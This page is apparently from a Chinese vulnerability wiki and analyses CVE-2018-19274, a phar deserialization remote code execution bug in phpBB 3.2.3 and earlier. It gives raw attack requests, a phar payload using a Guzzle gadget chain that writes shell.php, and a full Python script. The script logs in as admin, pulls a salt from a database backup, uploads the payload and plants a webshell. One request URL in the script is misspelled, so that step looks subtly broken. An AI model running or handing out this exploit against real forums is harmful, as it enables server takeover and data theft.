menu arrow_back 湛蓝安全空间 |狂野湛蓝,暴躁每天 chevron_right All_wiki chevron_right yougar0.github.io(基于零组公开漏洞库 + PeiQi文库的一些漏洞)-20210715 chevron_right Web安全 chevron_right PhpBB chevron_right (CVE-2018-19274)PhpBB Phar反序列化远程代码漏洞.md
  • home 首页
  • brightness_4 暗黑模式
  • cloud
    xLIYhHS7e34ez7Ma
    cloud
    湛蓝安全
    code
    Github
    (CVE-2018-19274)PhpBB Phar反序列化远程代码漏洞.md
    16.57 KB / 2021-04-21 09:23:46
        (CVE-2018-19274)PhpBB Phar反序列化远程代码漏洞
    ================================================
    
    一、漏洞简介
    ------------
    
    攻击者若通过社工,弱口令,钓鱼等方式拥有控制管理面板权限,可先前台上传恶意附件,再进入后台控制管理面板利用设置中对路径的验证的功能,结合PHP
    phar 反序列化进行php对象注入,构造可用的恶意攻击链,获取Webshell。
    
    二、漏洞影响
    ------------
    
    phpBB v3.2.3及以前的版本
    
    三、复现过程
    ------------
    
    ### 漏洞分析
    
    先看触发php phar反序列化漏洞的核心代码如下:
    
    文件位置:`phpBB3/includes/functions_acp.php::validate_config_vars`
    
    ![1.png](./resource/(CVE-2018-19274)PhpBBPhar反序列化远程代码漏洞/media/rId25.png)
    
    通过`file_exists`函数判断`$path`是否存在,此处若可以被我们上传PHAR归档包,文件路径若被我们可知可控,就可以通过`phar://`协议进行反序列化攻击。
    
    ### 触发点分析
    
    首先是载入的时候调用`acp_attachments->main()`方法
    
    文件位置:`phpBB3/includes/acp/acp_attachments.php`
    
    ![2.png](./resource/(CVE-2018-19274)PhpBBPhar反序列化远程代码漏洞/media/rId27.png)
    
    关键函数为`validate_config_vars`函数,第一个参数为`$display_vars['vars']`来自上文的系统配置定义:
    
    ![3.png](./resource/(CVE-2018-19274)PhpBBPhar反序列化远程代码漏洞/media/rId28.png)
    
    第二个参数通过`$_REQUEST`接收,post发送数组参数`config`,被赋值成为`$cfg_array`
    
    两个参数传入`validate_config_vars`函数,继续跟进。
    
    文件位置:`phpBB3/includes/functions_acp.php`
    
    ![4.png](./resource/(CVE-2018-19274)PhpBBPhar反序列化远程代码漏洞/media/rId29.png)
    
    进入函数后使用`foreach`对`$config_vars`进行遍历,键名为`$config_name`,键值为`$config_definition`。
    
    先对`$cfg_array`进行判断,也就是post数组中必须有和系统配置数组相同的键名的数组;然后又对键值的判断是否存在`$config_definition['validate']`。两个条件需要同时满足,不满足就跳过此变量循环,存在就对`$config_definition['validate']`进行分割为数组,并取第0个参数传进`switch`进行匹配,可以发现利用点在`wpath`分支里:
    
    ![5.png](./resource/(CVE-2018-19274)PhpBBPhar反序列化远程代码漏洞/media/rId30.png)
    
    满足上文两条件并且`$validator[$type]==wpath`才能进入分支,对系统配置数组进行筛选,暂时发现只有键名为`upload_path`的数组满足条件。
    
    但是在进入路径判断前有一个三元运算
    
        $path = in_array($config_definition['validate'], array('wpath', 'path', 'rpath', 'rwpath')) ? $phpbb_root_path . $cfg_array[$config_name] : $cfg_array[$config_name];
    
    经过判断`$config_definition['validate']`在数组之中,所以会走第一个分支,`$cfg_array[$config_name]`就是post数组变量,此处可控,但是会和`$phpbb_root_path`进行拼接。文件位置:`phpBB3/adm/index.php`
    
    ![6.png](./resource/(CVE-2018-19274)PhpBBPhar反序列化远程代码漏洞/media/rId31.png)
    
    因此拼接后的`$path`会变成`./../xxxxxxxxxx`,路径出错无法利用,如下。
    
    ![7.png](./resource/(CVE-2018-19274)PhpBBPhar反序列化远程代码漏洞/media/rId32.png)
    
    但是这里的整个`switch`语句犯了一个较为低级的错误,部分条件的语句段没有使用`break`进行结束。
    
    `switch`执行方式:开始时没有代码被执行。仅当一个 `case`语句中的值和
    `switch`表达式的值匹配时 PHP
    才开始执行语句,直到`switch`的程序段结束或者遇到第一个`break`
    语句为止。如果不在`case`的语句段最后写上`break`的话,PHP
    将继续执行下一个`case`中的语句段。
    
    ![8.png](./resource/(CVE-2018-19274)PhpBBPhar反序列化远程代码漏洞/media/rId33.png)
    
    因此需要在`$config_vars`找到一个元素`$config_definition`,并且`$config_definition['validate']`等于`absolute_path`或者`absolute_path_writable`或者`path`,这样就能即进入`wpath`执行也不增加`$path`的前缀
    
    使用如下代码过滤:
    
        foreach ($display_vars['vars'] as $key =>$value){
            if (($value['validate'] === 'absolute_path') or ($value['validate'] === 'absolute_path_writable') or ($value['validate'] === 'path')){
                print('66'.$key.'77');
            }
        }
    
    发现`img_imagick`元素满足条件:
    
    ![9.png](./resource/(CVE-2018-19274)PhpBBPhar反序列化远程代码漏洞/media/rId34.png)
    
    进入控制面板的附件设定,提交并该修改数据包
    
    ![10.png](./resource/(CVE-2018-19274)PhpBBPhar反序列化远程代码漏洞/media/rId35.png)
    
    数据包如下,关键点为`config[img_imagick]`参数:
    
        POST /phpBB3/adm/index.php?i=acp_attachments&mode=attach&sid=385d5172c29a3a9530d6b467a5691ffd HTTP/1.1
        Host: www.0-sec.org
        User-Agent: python-requests/2.21.0
        Accept-Encoding: gzip, deflate
        Accept: */*
        Connection: close
        Content-Length: 967
    
        config%5Ballow_attachments%5D=1&config%5Ballow_pm_attach%5D=0&config%5Bupload_path%5D=files&config%5Bdisplay_order%5D=0&config%5Battachment_quota%5D=50&attachment_quota=mb&config%5Bmax_filesize%5D=256&max_filesize=kb&config%5Bmax_filesize_pm%5D=256&max_filesize_pm=kb&config%5Bmax_attachments%5D=3&config%5Bmax_attachments_pm%5D=1&config%5Bsecure_downloads%5D=0&config%5Bsecure_allow_deny%5D=1&config%5Bsecure_allow_empty_referer%5D=1&config%5Bcheck_attachment_content%5D=1&config%5Bimg_display_inlined%5D=1&config%5Bimg_create_thumbnail%5D=0&config%5Bimg_max_thumb_width%5D=400&config%5Bimg_min_thumb_filesize%5D=12000&config%5Bimg_imagick%5D=phar://../files/plupload/c2f830acec21b6d3a45ff0f5b3f35273_5de5caf862ea58bbb27aff231f06c7f3zip.part/&config%5Bimg_max_width%5D=0&config%5Bimg_max_height%5D=0&config%5Bimg_link_width%5D=0&config%5Bimg_link_height%5D=0&submit=Submit&ips=&ipexclude=0&creation_time=1552465991&form_token=0910a5dc9a13fc50a0ead4656617642fa80daaf1
    
    此时已经可以触发反序列化,还需上传包含利用链的恶意附件。
    
    ### 上传恶意附件
    
    上传位置为前台发帖附件处:
    
    ![11.png](./resource/(CVE-2018-19274)PhpBBPhar反序列化远程代码漏洞/media/rId37.png)
    
    处理文件上传的关键函数,以及函数调用栈:
    
    文件位置:`phpBB3/phpbb/plupload/plupload.php`
    
    ![12.png](./resource/(CVE-2018-19274)PhpBBPhar反序列化远程代码漏洞/media/rId38.png)
    
    在这里函数handle\_upload可以实现多个`chunk`处理。`$this->request->variable`函数根据键名从请求中获取值,首先获取`chunks`的值,并判断`chunk`是否小于2,如果小于就直接返回,如果大于就开始进行多`chunk`处理。
    
    然后进入关键的`temporary_filepath`函数:
    
    ![13.png](./resource/(CVE-2018-19274)PhpBBPhar反序列化远程代码漏洞/media/rId39.png)
    
    这个就是计算上传文件路径的函数,`$this->temporary_directory`可知为`./files/plupload`,`$file_name`可控,`\phpbb\files\filespec::get_extension($file_name)`获取文件的后缀同样可控,比较麻烦的是`$this->config['plupload_salt']`存在于数据库中,但可以在管理面板中通过备份进行获取。
    
    ![14.png](./resource/(CVE-2018-19274)PhpBBPhar反序列化远程代码漏洞/media/rId40.png)
    
    `plupload_salt`如下
    
    ![15.png](./resource/(CVE-2018-19274)PhpBBPhar反序列化远程代码漏洞/media/rId41.png)
    
    此时已经完全可以计算路径
    
        ./files/plupload/c2f830acec21b6d3a45ff0f5b3f35273_5de5caf862ea58bbb27aff231f06c7f3zip
    
    然后进入函数进行文件写入
    
    ![16.png](./resource/(CVE-2018-19274)PhpBBPhar反序列化远程代码漏洞/media/rId42.png)
    
    中途会产生一个临时文件,但后面会删除,最后文件名还会增加`.part`后缀。
    
        ./files/plupload/c2f830acec21b6d3a45ff0f5b3f35273_5de5caf862ea58bbb27aff231f06c7f3zip.part
    
    攻击数据包如下:
    
        POST /phpBB3/posting.php?mode=post&f=2&sid=a3f8b226bd4ad508d8838284c0cfc332 HTTP/1.1
        Host: www.0-sec.org
        Content-Length: 1909
        Origin: http://bugtest.com
        x-requested-with: XMLHttpRequest
        x-phpbb-using-plupload: 1
        User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/73.0.3683.75 Safari/537.36
        Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryuHMhmTMPyBMwbiEg
        Accept: */*
        Referer: http://bugtest.com/phpBB3/posting.php?mode=post&f=2&sid=52c63bf06fdeaef60de9b8fba1de97ad
        Accept-Encoding: gzip, deflate
        Accept-Language: zh-CN,zh;q=0.9
        Connection: close
    
        ------WebKitFormBoundaryuHMhmTMPyBMwbiEg
        Content-Disposition: form-data; name="name"
    
        rai4over.zip
        ------WebKitFormBoundaryuHMhmTMPyBMwbiEg
        Content-Disposition: form-data; name="chunk"
    
        0
        ------WebKitFormBoundaryuHMhmTMPyBMwbiEg
        Content-Disposition: form-data; name="chunks"
    
        3
        ------WebKitFormBoundaryuHMhmTMPyBMwbiEg
        Content-Disposition: form-data; name="add_file"
    
        Add the file
        ------WebKitFormBoundaryuHMhmTMPyBMwbiEg
        Content-Disposition: form-data; name="real_filename"
    
        payload.phar.zip
        ------WebKitFormBoundaryuHMhmTMPyBMwbiEg
        Content-Disposition: form-data; name="attachment_data[0][attach_id]"
    
        16
        ------WebKitFormBoundaryuHMhmTMPyBMwbiEg
        Content-Disposition: form-data; name="attachment_data[0][is_orphan]"
    
        1
        ------WebKitFormBoundaryuHMhmTMPyBMwbiEg
        Content-Disposition: form-data; name="attachment_data[0][real_filename]"
    
        payload.zip
        ------WebKitFormBoundaryuHMhmTMPyBMwbiEg
        Content-Disposition: form-data; name="attachment_data[0][attach_comment]"
    
    
        ------WebKitFormBoundaryuHMhmTMPyBMwbiEg
        Content-Disposition: form-data; name="attachment_data[0][filesize]"
    
        35802
        ------WebKitFormBoundaryuHMhmTMPyBMwbiEg
        Content-Disposition: form-data; name="fileupload"; filename="payload.phar.zip"
        Content-Type: application/zip
    
        <?php __HALT_COMPILER(); ?>
        ÕO:31:"GuzzleHttp\Cookie\FileCookieJar":4:{s:41:"GuzzleHttp\Cookie\FileCookieJarfilename";s:42:"/Applications/MAMP/htdocs/phpBB3/shell.php";s:52:"GuzzleHttp\Cookie\FileCookieJarstoreSessionCookies";b:1;s:36:"GuzzleHttp\Cookie\CookieJarcookies";a:1:{i:0;O:27:"GuzzleHttp\Cookie\SetCookie":1:{s:33:"GuzzleHttp\Cookie\SetCookiedata";a:3:{s:7:"Expires";i:1;s:7:"Discard";b:0;s:5:"Value";s:18:"<?php phpinfo();?>";}}}s:39:"GuzzleHttp\Cookie\CookieJarstrictMode";N;}test.txtöìˆ\~ضtest¨~ê’÷z]©ägž­4GBMB
        ------WebKitFormBoundaryuHMhmTMPyBMwbiEg--
    
    至此我们已经对上传文件路径内容可知可控,还恶意文件中的利用链。
    
    ### 利用链
    
    利用PHP网络请求插件Guzzle完成反序列化利用。
    
    文件位置:`phpBB3/vendor/guzzlehttp/guzzle/src/Cookie/FileCookieJar.php`
    
    ![17.png](./resource/(CVE-2018-19274)PhpBBPhar反序列化远程代码漏洞/media/rId44.png)
    
    析构函数调用`save`函数,最后使用`file_put_contents`完成文件写入,整个漏洞利用完成。
    
    ### poc
    
        # coding =utf-8
    
        import requests
        from bs4 import BeautifulSoup
        import re
    
        proxies = {
            "http": "http://127.0.0.1:8080",
        }
    
        import hashlib
    
    
        def md5(str):
            m = hashlib.md5()
            m.update(str.encode("utf8"))
            return m.hexdigest()
    
    
        if __name__ == '__main__':
            target = "http://bugtest.com/phpBB3"
            admin_account = 'admin'
            admin_pwd = '123456'
            phar_payload = 'payload.phar.zip'
            upfilename = 'rai4over.zip'
    
            r = requests.Session()
            data = {
                'username': admin_account,
                'password': admin_pwd,
                'login': 'Login'
            }
            print('Start logging in to the administrator account')
            rs = r.post(target + '/ucp.php?mode=login', data=data)
            html = rs.text
    
            if ('header-profile dropdown-container' in html) and ("class=\"username-coloured\">" + admin_account in html):
                print('OK! The administrator account is successfully logged in')
            else:
                exit('No! Login failed . Probably because of the verification code')
    
            soup = BeautifulSoup(html, "html.parser")
            input = soup.find('input', attrs={'name': 'sid'})
            sid = input['value']
    
            file = {
                'fileupload': open(phar_payload, "rb").read()
    
            }
            data = {
                'name': upfilename,
                'chunk': 0,
                'chunks': 3,
                'add_file': 'Add the file',
                'real_filename': 'payload.phar.zip'
            }
            rs = r.post(target + '/posting.php?mode=post&f=2&sid=' + sid, files=file, data=data)
            if 'jsonrpc' not in rs.text:
                exit('Upload fail')
            else:
                print('Uploading malicious file successfully')
    
            Admin_Control = target + '/adm/index.php?sid=' + sid
            print("Get Administration Control Panel URL :" + Admin_Control)
    
            rs = r.get(Admin_Control)
            html = rs.text
            soup = BeautifulSoup(html, "html.parser")
            input = soup.find('input', attrs={'type': 'password'})
            passwd_id = input['id']
            credential = soup.find('input', attrs={'name': 'credential'})
            credential = credential['value']
            data = {
                'username': admin_account,
                passwd_id: admin_pwd,
                'login': 'Login',
                'redirect': './../adm/index.php',
                'credential': credential
            }
            rs = r.post(target + '/adm/index.php?sid=' + sid, data=data)
            html = rs.text
            if '<title>ACP index</title>' in html:
                print('Administration Control Panel login successful')
    
            soup = BeautifulSoup(html, "html.parser")
            div = soup.find('div', attrs={'id': 'page-header'})
            sid = div.a['href'][-32:]
    
            rs = r.get(target + '/adm/index.php?i=acp_database&mode=backup&sid=' + sid)
            html = rs.text
            soup = BeautifulSoup(html, "html.parser")
            input = soup.find('input', attrs={'name': 'form_token'})
            form_token = input['value']
            input = soup.find('input', attrs={'name': 'creation_time'})
            creation_time = input['value']
    
            data = "type=data&method=text&where=download&table%5B%5D=phpbb_config&submit=Submit&creation_time={creation_time}&form_token={form_token}".format(
                creation_time=creation_time, form_token=form_token)
            rs = r.post(target + '/adm/index.php?i=acp_database&mode=backup&action=download&sid=' + sid, data=data,
                        headers={"Content-Type": "application/x-www-form-urlencoded", "Connection": "close",
                                 "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3"})
            html = rs.text
            if 'phpBB Backup Script' in html:
                print('Database download succeeded')
                matchObj = re.search(r"\('plupload_salt', '(.*?)', 0\)", html, re.M | re.I)
                if matchObj:
                    plupload_salt = matchObj.group(1)
                    print('Get the plupload_salt successfully :{plupload_salt}'.format(plupload_salt=plupload_salt))
                else:
                    exit('Get the plupload_salt failed')
            else:
                exit('Database download failed')
            print('Calculate the name of the phar')
    
            name = "{plupload_salt}_{md5name}zip.part".format(plupload_salt=plupload_salt, md5name=md5(upfilename))
    
            rs = r.get(target + '/adm/index.php?i=acp_attachmenpartts&mode=attach&sid=' + sid)
            html = rs.text
            soup = BeautifulSoup(html, "html.parser")
            input = soup.find('input', attrs={'name': 'form_token'})
            form_token = input['value']
            print("Get form_token from Attachment settings:{form_token}".format(form_token=form_token))
    
            data = "config%5Ballow_attachments%5D=1&config%5Ballow_pm_attach%5D=0&config%5Bupload_path%5D=files&config%5Bdisplay_order%5D=0&config%5Battachment_quota%5D=50&attachment_quota=mb&config%5Bmax_filesize%5D=256&max_filesize=kb&config%5Bmax_filesize_pm%5D=256&max_filesize_pm=kb&config%5Bmax_attachments%5D=3&config%5Bmax_attachments_pm%5D=1&config%5Bsecure_downloads%5D=0&config%5Bsecure_allow_deny%5D=1&config%5Bsecure_allow_empty_referer%5D=1&config%5Bcheck_attachment_content%5D=1&config%5Bimg_display_inlined%5D=1&config%5Bimg_create_thumbnail%5D=0&config%5Bimg_max_thumb_width%5D=400&config%5Bimg_min_thumb_filesize%5D=12000&config%5Bimg_imagick%5D={upfile}&config%5Bimg_max_width%5D=0&config%5Bimg_max_height%5D=0&config%5Bimg_link_width%5D=0&config%5Bimg_link_height%5D=0&submit=Submit&ips=&ipexclude=0&creation_time=1552465991&form_token={form_token}".format(
                form_token=form_token,
                upfile='phar://../files/plupload/' + name)
            rs = r.post(target + '/adm/index.php?i=acp_attachments&mode=attach&sid=' + sid, data=data)
            print('Get webshell succeeded')
    
    参考链接
    --------
    
    > https://xz.aliyun.com/t/8239\#toc-3
    
    
    links
    file_download